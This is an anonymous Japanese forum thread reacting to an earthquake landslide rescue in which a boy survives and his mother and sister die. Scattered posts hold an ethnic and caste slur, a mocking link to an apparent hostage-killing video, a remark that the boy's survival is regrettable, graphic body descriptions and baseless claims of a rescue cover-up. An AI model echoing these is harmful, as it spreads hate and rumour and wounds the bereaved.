頑張れレスキューさん

俺だったら昨日の内に岩の隙間にコンクリート流し込んで固めておいて、
さー今日は２次災害の心配もしないでバンバン救出。

>>835
右翼より左翼の方がまし
日本中右翼だらけになったことを想像してみるといい
品格無く自分のことしか考えないタカリ合いの社会になって日本終わりだよｗ

>>845
そのコンクリごと雪崩てくるわけだが・・・

>>845
> 俺だったら昨日の内に岩の隙間にコンクリート流し込んで固めておいて

軽く2ヶ月くらい掛かる作業だぞ・・・

しかし今回、老人がショックで死んだり体調崩してる事例が多すぎる。
そういう所をクローズアップして、「診療内科医が必要でなはいのでしょうか？！」とか報道すりゃいいのに。

それとも、苦しむ人間が多い方が報道的にｳﾏｰですかね？

もう息絶えてしまったんなら潰れた上半身はおいておいて
下半身だけでもひきつぎって父上のところまで・・・・・・・
母親は息絶えていたからはさまれた両足はその場で切断されて開放されてたんだし・・

今日は冷え込むのに・・・
レスキュー隊員の人今の今もやり続けてるのは、
自責の念じゃないだろうか・・・

>>845
あそこまでコンクリだれが運ぶんだよ・・・
しかもほとんど無意味だし

すまない。
被害者のご家族に手紙を送りたいんだけど、どこに送るべきなんだろう？

>>849
どんな理由であろうと「死者○人」の人数が増えたほうが行政叩きやすいんだろ。

>>848
どれくらい時間かかるんだよｗ

麻衣ちゃんの慰霊碑をアソコに
立てて
そのまんま、墓にしてやれ

>>849
てか、神戸の時もそんな死因は恐らくあったんだろう。
ただ、死者の数が違うから、心筋梗塞とかの死因が注目されてるだけで。

開同やら在日やらがまさにタカリ愛社会を実現してるわけだが。
やつらは右翼なのか？

>>845
通常の護壁工事なら枠組んでブロック分けしてからセイフティネットなりの処理ができるが
あの現場じゃ無理だし何より地盤が緩いのでコンクリは無意味。地すべりするぞ

>>845
流し込まれたコンクリートで生存者が窒息死でもしたら目も当てられない

>>856
あそこには世界一高いビルディングを建てます。
グラウンドゼロにできるやつより高いのね。

あの岩を持ち上げるだけの風船を用意して片っ端から岩にくくり付ければ、
いつの間にか、岩はどこかに消え去る。
あと何処に行ったかは追求しない。

こういう閉じ込められ、長期戦になるとデブが有利なんだよな・・
蓄えられたエネルギーを使う時。
オレは東海大震災に備えてエネルギー蓄え中。

まぁ、それが原因で逃げ遅れたら意味ないけどね・

北朝鮮式にいけば、
現場ごと古くなった火薬で


　　　　　　　┣" ―――――――――ン！！

>>862
頭イイなオマエ

ドラえもんが居れば全て解決

>>862
おまい、俺達をからかって遊んでるな？

お母さんって足切断して引っこ抜いたって感じだったんですか？
タンカに乗った時、やけに小さい気がしたのはそのせいだったのかな

今回壊れた道路ってほとんど角栄の選挙区だった

前々から思ってたんだが、こういった場合で
岩を退かしたい時は
ttp://gazo01.chbox.com/tv-movie/src/1098127559258.wmv
こうすればいいんじゃないですか？

>>840
漏れもそう思った。つか、ﾀｶﾄｵの頃にも思ってた。
首相業も忙しいだろうに、3ﾊﾞｶ余計なことしてうっとうしいだろうなと。

>>851
隊員独自の判断で活動できるわけじゃなし。
余震が続く中、放置したら生きてようが死んでようが救出するチャンスが潰れるかもしれないし、
このまま一気にやってしまうのが最善と判断したと予想。
余震の危険はいつでもあるし。

レスキューの仕事はとりあえずこれが最後だろう。
チャッチャッと片付けて帰りたいんじゃないのかな。

つか、今回の人質は政府が万が一、救出なんてしたら
小泉は逆の意味で叩かれそうだなぁ。

まぁ、香田を国民全員が一発ずつなぐっていいんならＯＫだけど。

レスキュー隊員たちも悔しいだろうな。
もっと早く発見できていればあるいは・・って。

>>874
無事に帰ってきたら、日本で首チョンパされそう、、、

>>875
そんな現場を何度も経験してるんだよ・・

香田最新動画来ました
ttp://helloworld.zive.net/gazo/dogaura/mov/449.mpeg

>>876
ﾜﾛﾀ
イラクで死ぬか日本で死ぬか選べ　ってか。
もし帰国できたらそのまま投獄されろﾊﾞｶﾓﾉめ。

一人救えただけでもＧＪなんだけどね・・・
多くを求めすぎる人が多すぎ・・

なにはなくとも、まずは冥福を祈りたい。
漏れも、マスコミに踊らされたくちではあるが。
現場の方々の、「こんな乳飲み子が５日近く生きているんだ、他の二人も生きているはずだ」
という想いが苦さにかわったのは、想像に難くはない･･･。
キャリアとノンキャリのぶつかりあいもあったかもしれんな･･･。

>>368
日本版ＦＥＭＡ（連邦緊急事態管理庁）は現在組織化していく途中だったんだよ･･･。
９．１１のテロでいろいろとかわってはいるが、ＦＥＭＡ長官には緊急事態が確認されると、
その地域（州全体や合衆国全体の可能性もあるにはある）における、緊急事態脱却の為の
全権が与えられる。（これは市長だろうが州知事だろうが大統領ですら原則逆らえなかったはず）
人・物・金・情報を緊急事態の為だけに与えられており、軍、州兵、消防、警察等々の全てが
指揮下に入ることもある。まだまだ、日本は調査組織化担当大臣という感じではあるね。

>>242
社内に迄土砂が入り込んでいたのだから当然全身土(泥)まみれな筈。
そんな状態で肌の色なんて解りませんよ･･･

なんか真紀子がすごくムカつく

現実は小説よりも奇なり。
大吾が現実にいてもどうしようもないことはある。

>>875
発見だけならもっと早く情報あったらしいじゃん。
助かった車の人の証言とか、そこに車が埋まってるって事は
土曜か日曜にはわかってたらしいし。

おれ、専門職で２８日に電線設備復旧支援で現地に行くんだけど、
今日のレスキュー見てると分野と背負っている重みはぜんぜん違うが
とりあえず自分ができることを全力で頑張ってくるよ

>>886
ガンガレ！

俺、「３人生存」とニュースで知ったとき、仕事場で人目をはばからず
「やった！！よかった！！」と拍手して涙目になっていたんだよ。
それから勝手に「３人は救出されて病院に搬送されている」と
思いこんでいて、今帰宅してニュースをネットで確認したら、
母親の方が亡くなられていた・・・・
こんなに悲しいことはなかったよ・・・

ご冥福をお祈り申し上げます。

>>886
乙

奥さんの元同僚が分かれ際におむすびとバナナ子供に渡したんだって。
もしそれをしなければ助かってたかもってご主人も元同僚も考えてると思う。
実はオレもそう言う経験あるし。

>>886
がんばってください！

>>874
この馬鹿は何やってるんだって感じだ
今日本は新潟を初め各地で地震があるし、台風で被害受けた地域もいっぱいわるわけだし

>>890
ん？ その心は？

スレ違いだけど、
首相があんなだから、国民があんなんじゃないのか。
それまでの首相の時に香田とか高遠とかの馬鹿ども記憶にないぞ。

土砂崩れってさ、思ってるより凄いんだよ。
おれのお義母さんは病院の婦長さんなんで、地元の新聞やTVニュースに出た事故の犠牲者は
ほとんど見ている。土砂崩れの犠牲者が出たときなんか、「首がちぎれてたから縫合してきた」なんて平気な顔で
言うんだから、怖い。

つまり、おにぎりとバナナを渡す時間のロスでちょうど
あの時間にここを通過して事故にあったということでしょうか？

>>874
ｽﾚ違いだが、CNNのニュースで
「行くべきではない時期に、行くべきではない国に行った旅行者」
みたいな感じで言われてた。

…………すっげぇ恥…

その後で、この親子の件と地震についてのニュースだったから、
本当にもう人質の事なんかどうでも良いよって気分にさせられたよ。

>>890
そんなふうに、関係の人は自分を責めちゃいけないと思う…。
おむつしてるような2歳の男の子と、3歳の女の子を連れてるんだから
車に乗るまででも、車に乗ってからでも、何かと時間かかってるだろうしね。
誰のせいでもないよね。

>>893
出発が後数秒早ければ、がけ崩れに巻き込まれて無かったって事だろ。

東海大震災の予想震度分布見たら
名古屋で震度６弱。
それよりもヤバイのがあの豊田が震度６強だった。
豊田市がそんな地震食らったら日本経済がモロに響いてきそうだな・・・

>>890
信号ひとつのタイミングだからね。
スーパーから出てくる車１台に道を譲った結果かもしれないし。

また余震。震度３。
レスキュー隊もう引いた方が・・・。

>>893
時間が後少しずれてれば、ってことだろ。

>890
だがそれを考えても仕方がないんだよな。
赤信号で止まる、もしも速度が一キロだけ遅ければとか．．．
考えればきりがないんだよ。

いいたい事は、自分を必要以上に責めてくれるなって事かな。
誰も、決定的に悪くなんかなかったよ
天災だけは誰のせいにもできないんだから．．．

せめてもの慰めは”亡くなった2人は今現在は痛みも悲しみもない”って事。
今一番苦しんでるのはご主人。察して余りある。

>>890
意味がわからないんだが･･･
その食料のおかげで助かったわけじゃなくて？

>>894
いや、居たけど話題にならなかっただけかと。
今ちょうど左向きの人が目立ってるからさ。
１人取り上げられるとマネするんだよ。

看護してる女性の人がママと言われたらしいけど・・

母親がお亡くなりになって
子供の看護中に突然、子供が間違えて「(ﾟдﾟ)ﾏﾏ･･」なんて言われたら
マジで泣いちゃうよ・・・いや、、マジで・・・・(´Д⊂ヽ

>>896
そういうことってあるらしい。
飛行機事故で、乗り遅れて助かった人の話など。
でもこの助かった子、なにか見えない力に守られたのだろうね。

>>890　それを言い始めたら切がないよ。逆にそのとき軽食や買い物に誘うとか、もっと引き止めていれば・・・
となるよ

>>905
息子さんを生甲斐に頑張ってくれって思うよ、ほんと。

>>904に同意。確かに信号一つや車の流れで変わる。もっと大きく関わる事ならともかく
物渡す時間なんか関係ない。890の言ってる事はおかしいぞ。

昔より自衛隊派遣にアレルギーが無くなってきたことは良いことだが、
まだ、欠陥があるな。確か、県知事が要請しないと駄目なんだろ？
つまり、県知事が左翼ならやばいって事さ。あるいは、馬鹿なやつならば。

震度６弱以上は、「原則派遣」という方向にした方が良い。
あるいは、５強くらいからとか。

「消防戦術百訓」て本を読んだことがある。東京消防庁消防学校長が書いた本だったと思う。
その中に、大災害時は、最初の判断に現場が流されやすい、とあった。
俺は非番で今回の現場をテレビで見てて、この話と全く同じだと思った。どう見てもあの現場で全員生存はありえない。
普通に考えて全員死亡だろう。ところが、男の子の生存が確認できた。
その時点で現場の隊員や、バックアップしてる隊員の間に希望的観測が生じる。
一名生存の報告がいつの間にか全員生存っていう話になる。
その本を読んだときはそんなことが起きるもんかいって思ったが、今回のはまさしくそのパターンだったんじゃないかね？

寿命です。すべからく。

>>910
そう。誰の責任でもないけどおむすび渡さなければ確かに助かってたかもしれないのは事実なの。
そうしてご主人はその事を悔やむし、元同僚は自分を責めるの。
運命と思えばそれまでだけど、やっぱり当事者は猛烈に悔やむの。

長岡市長が要請しなかったから自衛隊が入れなかったというのはデマだよね？
市長のHP見てもそんな主張はしてないし。

仮に要請しなかったとしても
阪神大震災後に法律が改正されて自治体の要請がなくても
自衛隊独自の判断で被災地に入れるようになったそうなんで
あまり関係ないんじゃないかな。

今やニュースはショータイーム♪

今日ＮＨＫや朝日の実況に顔出してた者だけど、３人生存のニュース知って、
仕事切り上げて涙ながらに長男救出を見てたんだよ。

ブルーシートから毛布ぐるぐる巻きの死体出て来たときは腰が抜けたよ。
鬱再発しそうなくらいショックだった。明日から５日ほど休みもらっててよかった。

こうしてる間にも地震速報かよ・・・
せめて岩の下から、早く長女を救い出しておくれ。

そのおむすびとバナナがあったから、ユウタハ生き延びたのではないのか？

>905
でもさぁ、本当に第一報を見た瞬間って
親子4人の涙の再会を当たり前のように信じてたから…。

一面識のない赤の他人だけど、めちゃくちゃ落ち込んでる。

>>909
お母さんが守ってあげたんだよ。きっと。
唯一生きている子供を、死んでても守りたい。
親は、そう思うよ。

レスキューが頑張ってるのに叩いてるやつの気が知れないな。レスキューの方々だって、家族がいることを忘れるな。

なんつーか今日一日ずっと見てたから、
7時からのバラエティすら見ているのが辛かったというか。
見る気おこらず結局今日はＮＨＫにかじりついていたよ。

おむすび渡したのが悪いって言ってるんじゃないよ。
当事者は自分を必要以上に責めてしまって苦しいんだって事が言いたかったの。

>>890
うん分かる。
逆に考えれば、自分がこうして無事で生きてるのは結構運のいいことだと
しみじみ思ったりする。ありがたや

>>886
プロとして復旧に携われる人はすばらしい。
どうぞ気をつけて行ってらっさいませ。

>>915
すべから‐く 【須く】
[副]《動詞「す」に推量の助動詞「べし」の付いた「すべし」のク語法から。漢文訓読による語》多くは下に「べし」を伴って、ある事をぜひともしなければならないという気持ちを表す。当然。「学生は―学問を本分とすべきである」

みんな命がけなんだよね。
孤立してる集落の人たちは、食べ物大丈夫なのかな。

まいちゃんは、地震の神さんが人身御供としていただいたので、絶対に救出不可能なのでは？

その人身御供を無理やり取ると、山が崩れて。。レス旧態もろとも生き埋め。

>>925
それは本人にしか分からない。
人の心をさも分かったかのように書くのはどうかと。

>>635
もう絶版だろうけど「ジャーナリストへの条件」という書籍を探してみるといいよ。
そこには、ジャーナリストの考えるジャーナリズムの一面があるよ。

>>917
独自に行けるの？それは文民統制的にまずくないか？

全チャンネルを１４：３０くらいから
チェックしていたが
ソースの言うとおりであった
ゴミはしょうがねーな、まったく

>>919
毛布ぐるぐるまきって、やっぱり死体だよね。
でも自分リアルタイムで見てて、あれでも生きてるんじゃないかって思ってしまってた。
希望的観測っていうか、ニュースでもなんも言わないしさぁ・・・・
でもよくよく考えたら、ブルーシートで覆いはじめた時点で死んでるって事だよなぁ。

何はともあれ、フジの安藤優子に不幸を!!

人の不幸がそんなにうれしいか!

>>916　身内や友人に自殺者が出た時と同じようなものか。空虚感と自己自責の念にかられるらしい
特に自殺者にその兆候がまったく見られず。別れ際までニコニコ・・・すぐに自殺とかね

>>924
うんうん。バラエティ見る気になれない。なんもやる気しないし・・・

>>890
誰の責任でもないけれど、　この書き込みで、そうかこの同僚が渡さなければ
助かっていたのか、という見方も出来ると気づかされたよ。

さすが共同だな。
朝日と同じで偏向と意図的な誤報の塊。

>>932
多少違ってるかもしれないけど、阪神大震災のあった年にそういう法律ができたと
２７日の読売朝刊に書いてあった。

>>890
逆に考えればそうしたおかげで、
あの男の子は助かったのかもしれない。

ちょっと誤解されそうな書き込みだよ>>890

>>689
それは医師会に問題があるのだが、今言うのもなあ。でも、今でないといつ言うべきか。

>>916
なんでアンタの想像を「事実なの」と言い切れるんだよ。ほんのわずかな時間だろ。
「事故に合わなかったかもしれないし、渡さなくても結局事故に合ったかもしれない」とまでしか言えない。
1時間引き止められて、予定より1時間後の便に飛行機に乗って、その飛行機が落ちた、とか言うくらい
大きなズレなら分かるが、わずかな時間なら関係しないよ。ほんとに信号一つじゃん。
根拠もないし証明も出来ない事で関係ない人を悪く言うのはやめた方がいいんじゃない？
２ちゃんねらの「理由もないバッシング」とは少し種類が違う。根拠もない事を理由としてとって付けるのはどうかな。

2歳時って、記憶としてはのこらないんだよな。

あの、昼に呼びかけたら女性の声で反応したって言ってましたよね？お母さんの。
でもさっき死亡解剖したら土砂飲み込んでて即死だったってニュースでやってたんですが・・
ということは・・・

>>944

916＝890をかばうわけじゃないが
890は自分も似たような経験があると書いてるから
当事者はどうしても自分を責めて苦しむんだろうなあ
と　想像して書いたんだろう。

でも、誤解を招く書き方なのでｶﾁﾝと受け取られやすいレスではある。
はっきり言えば、言葉足らず。

ご主人も「オレが単身赴任なんてしなければ、、、」ってとこまで考えてると思う。
考えすぎて頭がショートしちゃうくらいに。そう考えるのも無理はないと思う。
実際単身赴任しなけりゃ今の結果にゃ絶対ならなかった。
そこで自分を責める。会社を責める。元同僚を責める。
でもいくら責めても今の現実は変わらない。でも責める。後悔する。
そして消耗し尽くして今の現実を受け入れる。
時間が薬って言い方は無責任だけど、時がたてばそれだけで癒える。気を確かに持って欲しい。

>282
　確かに日本のレスキューは土木知識に乏しいでしょうね。人力掘削なんかのノウハウを教育する
必要はあるかも。総務省消防庁に投書してみては？
　ただ、通常なら施工しないような状況下や、労災無視しての現場ノウハウでは参考になりませんね。
命と予算がいくらあっても足りません。隊員育成にいくらかかるか・・・

>110
　消防職員の義務は「人命及び財産を火災より擁護するためには危険をも省りみず，全体の奉仕者として，
誠実且つ公正に消防職務を執行すること」等ですが、危険を省みないことと、死を恐れないこととは別物です。
違法行為を除いて、日本に死んでもかまわない状態で働いている人はいません。そんなことしたら、賃金を
いくら払わなきゃならないか。たまには世の中の仕組みのことも考えてみては？

　ちなみに警察レスキューは「何ものにもとらわれず、何ものをも恐れず、何ものをも憎まず、良心のみに
従つて、公正に警察職務の遂行に当る」のが義務で、自衛隊員は「事に臨んでは危険を顧みず、身をもつて
責務の完遂に務め、もつて国民の負託にこたえること」が義務になります。比較すると、一番死に近いのは
自衛隊員のようです。

何もかもが奇跡で、そもそも大量の土砂の中に
人が助かるような空間が存在していることはまず考えられない。
重さにすれば車一台に何万�dの土砂ですよ。
普通原形をとどめない状態でもおかしくないのに、
映像を見ると原形はとどめている。
一体どんな車に乗っていたかが気になるところだけど、
あの状況で救助に向かった人も命懸けなわけだから、
一人でも助かったことが奇跡というか、すごいことだと思うんだ。

ブルーシートの時点ではまだ生きてるって俺も思ってたよ。
女の人だから、ほら、見せられないこともあるからって配慮のブルーシートだろうと。
事故現場とかではよくあることだし。
でも毛布に頭からくるまれて出てきたときはなぁ・・・あれ、結構ショックだったよね。

>>944　まちがいなくあんたが正しいよ。たぶん>>916はそういう悲しい事件に遭遇して、自分を責めてしまった経験があるのだと思う
そういうことを、書き込むことができるようになったのは、自己整理がついて前向きに歩みだしているのだと思う
そっとしておいてほしい。

車は　エスティマ

うちもエスティマ買うか。
いや、ハマーみたいに頑丈なのがいいか。

>>886
余震がないように祈ってるよ！
なにより無事で！

>>946
純粋に間違えただけと思うが、

霊的な力かもしれない。

極度の人間不信て悲しいな>>110

男の子を救出してからはレスキューの動きが緩慢になった気がする
生存していたのは最初から男の子だけだったのだろう

>>948
だからさ･･･何て言うか･･･。

そういう事はだいたいの人が思ってたりするんだよ。
「もしかしたら悔やんだりしてるかも？」くらいに。
でも、それをわざわざ表に出そうとはしないけどな。お前さんみたいに。

>>890
どんな経験？
渡したことと事故にあったことに因果関係なんてないだろ
渡すために引き止めてた？
もともとそこにあったものをすぐ渡したかもしれないのに？

そうだね・・・。毛布で包まれて出てきたときは、ケガで酷い状態なのかと
思ったけど、亡くなられたんだね。
貴子さんが優太くんを守ってくれたんだ。

なにげに、この親子はうちの実家の近所の方々だったりする。
みんなで優太くんを守るよ。

>>946
お母さんがね、どうしても生きている子供を助けたかったんだよ。
だから「声」を出したんだよ。
どう考えても人が生きていないと思われてしまう状況だったから
「息子が生きてる！助けて！」って。
自分は死んでてもね・・。

>>961
阪神大震災の時、似たような事例があったらしいね。
そういう事もありえるのかもなぁ。

>>961
ｵｶﾙﾄ(ﾟ�听)ｲﾗﾈ

ごめんなさい。
同じ境遇を経験した者としてついつい語りすぎてしまったみたい、、、
でもご主人、頑張れとは言わないから子供の為にしっかり生きて！

>>950
車がどうの、よりもそもそも岩がばかでかいのがこの場合幸いしたのでは
ないかと・・・
でかい岩同士ならそれだけ隙間も出来やすいわけで。
その幸いを除けば、あの場合どんな車でも一緒でしょ。

>>961
半年後にアンビリーバボーで特集組まれそうだな。
奥尻島や阪神淡路の時もやってたし、今回も不思議な事はたくさんあったのだろう。

>>961
即死だから無理。

>>890
ああいう事になるってあらかじめ解かってて渡したんじゃないだろ。
そういう事を考えるだけ無駄だ。

>>916
おむすびとか、当事者たちがもしかしたら考えてもいなかったかも知れないことをわざわざ書いて
当事者たちの罪悪感や後悔をあおるようなことはやめようよ…
まあ、当事者がここを見ているとは思えないけど。

おむすびやバナナ渡すのにどれほどの時間がかかるというの？
走行中、信号で止まったり、たまたま黄色を突っ切ったかも知れないし、
トラックに道を譲ったかもしれないし、途中でトイレ休憩したかも知れないし。
ものを渡す時間くらいは誤差範囲。

あと１分早かったか遅ければあそこを通過できたかもな
信号１個待つか・なんというか無念だな
車の車種わかる？だれか？

>>967
既に死んでて、魂が出した「声」でしょう。

>>890は、似たような経験があるならば、そういう書き込みは余計にやめて欲しいと、私は思う。
私は、幼い頃に、一緒にﾌﾟｰﾙに遊びに行った、同級生を亡くした。
先に帰ったその子が帰り道で亡くなった後、私達は自分を責めたし、先生も親も、その日、その子と生前に関わってたみんなが自分を責めてたと思う。
だけど誰も、私達を責めるような言葉は言わなかった。
「つらいでしょ？」
とも言われなかった。
他人が指摘しなくても、当事者達の心には、残る。
だからそんな情報を他人がここに書き込んで広めるべきではない。と私は思う。

>>969
もっともらしい事を言うフリしながら
話をむしかえして煽りかけてる自分に気付けｗ

>>961
死後、胃や腸に溜まった腐敗ガスが逆流して声帯を振るわせたんだよ。

>>969
タラレバ言っていたらキリがないよね。
事実は事実なんだし。

×どこよりも早く、インパクトのあるものを。
○まず正確な情報を。

災害時は特にね、マスコミさんよ。

>>913
ＦＥＭＡ法みたいなのが必要なのは確かだろう。
震度６弱でＦＥＭＡ長官が即時に命令書にサインしたことにすればいい形で。
本来、知事の政治主張がどうであれ、都道府県民の命が危機に晒されていれば、
その危機を取り除き、治癒するのが、地域の元首と言える知事なんだがな･･･。

色んな偶然が重なった結果が、奇跡と呼ばれるわけだ。
今回は本当に奇跡だった。
それ以上の事を「もしあの時こうしてたら」とか考えても仕方ない。

>>971

そうい言うことは物理的に不可能。

声がしてたら、その時点はﾏﾏは生きていたと考えるのが常識的だ。

>>957
坊やは奇跡的に車の外に出ていたから早かった
その後、車の中の土砂を取り除く処理がはじまった

今「お母さんの声」ってところを読んでたら
急に背筋がゾクッとして近くに誰かいる気がした・・・・・・・

車は「エスティマ」の比較的最近のだったよ
あれだけ　大きな車なのに押しつぶされちゃったのね

やっぱり、霊的な力だったのでしょうか？。。
とても不思議ですね。男の子助かって良かった。。

>>981
俺もぞっとした・・・。

妹と母親の死体と一緒に暗く、狭く、寒い場所に4日も監禁されたら
トラウマになるだろうな絶対。

切断された首と一緒に閉じ込められてたって話も良くあるけどな。

「あの時こうしていれば」なんていう後付はいくらでも言えるけど、時間は戻らないよ。

ﾏﾏは生きていたと思うよ。
マスコミの流していた情報を考えれば・・・。
その情報を否定するように、ﾏﾏは即死でした、なんてありえない。
レスキュウタイガ、情報をバイアスかけて、情報操作してる。
そう考えれば、今までの流れは全て理解できる。

ﾏﾏは生きていたんだよ。まてぃがいない。。

>983
「プロセス」は科学的に説明できるかもしれないけど、
「意志」は感じる通りだと思う。

>>987 そうだね。よかったね。おやすみ。

死因の「外傷性窒息」っていうのは、どんな状況なんですか。

実際、NHKの報道では、
　　「レスキューが女性の声を確認しています」
って何度も言ってた品
それに、
　　「電磁波測定で3人の心拍を確認し、これから救助作業開始します」
とも。

・・・・・・で、フタをあけたら男の子一人生存、　母親はほぼ即死・・・・・

男の子が助かったのが残念

死んだ人が声をあげることは100％ありえない。
＜霊＞なんていってやつは、新興宗教信者まっしぐらだな（ｗ

優太　よくがんばった！

宇宙が誕生しなければこんな不幸は起きなかったのに

どさくさ紛れに北に拉致された可能性はない？

>>993 たぶん腐敗が始まってて、内部からガスが漏れて音がしたんじゃないか？

>>987
＞ﾏﾏは生きていたんだよ。まてぃがいない。。
＞マスコミの流していた情報を考えれば・・・。
う〜ん、残念！！あんたのソース全部誤報ですから〜
切腹！

１０００なら娘は奇跡の生還！

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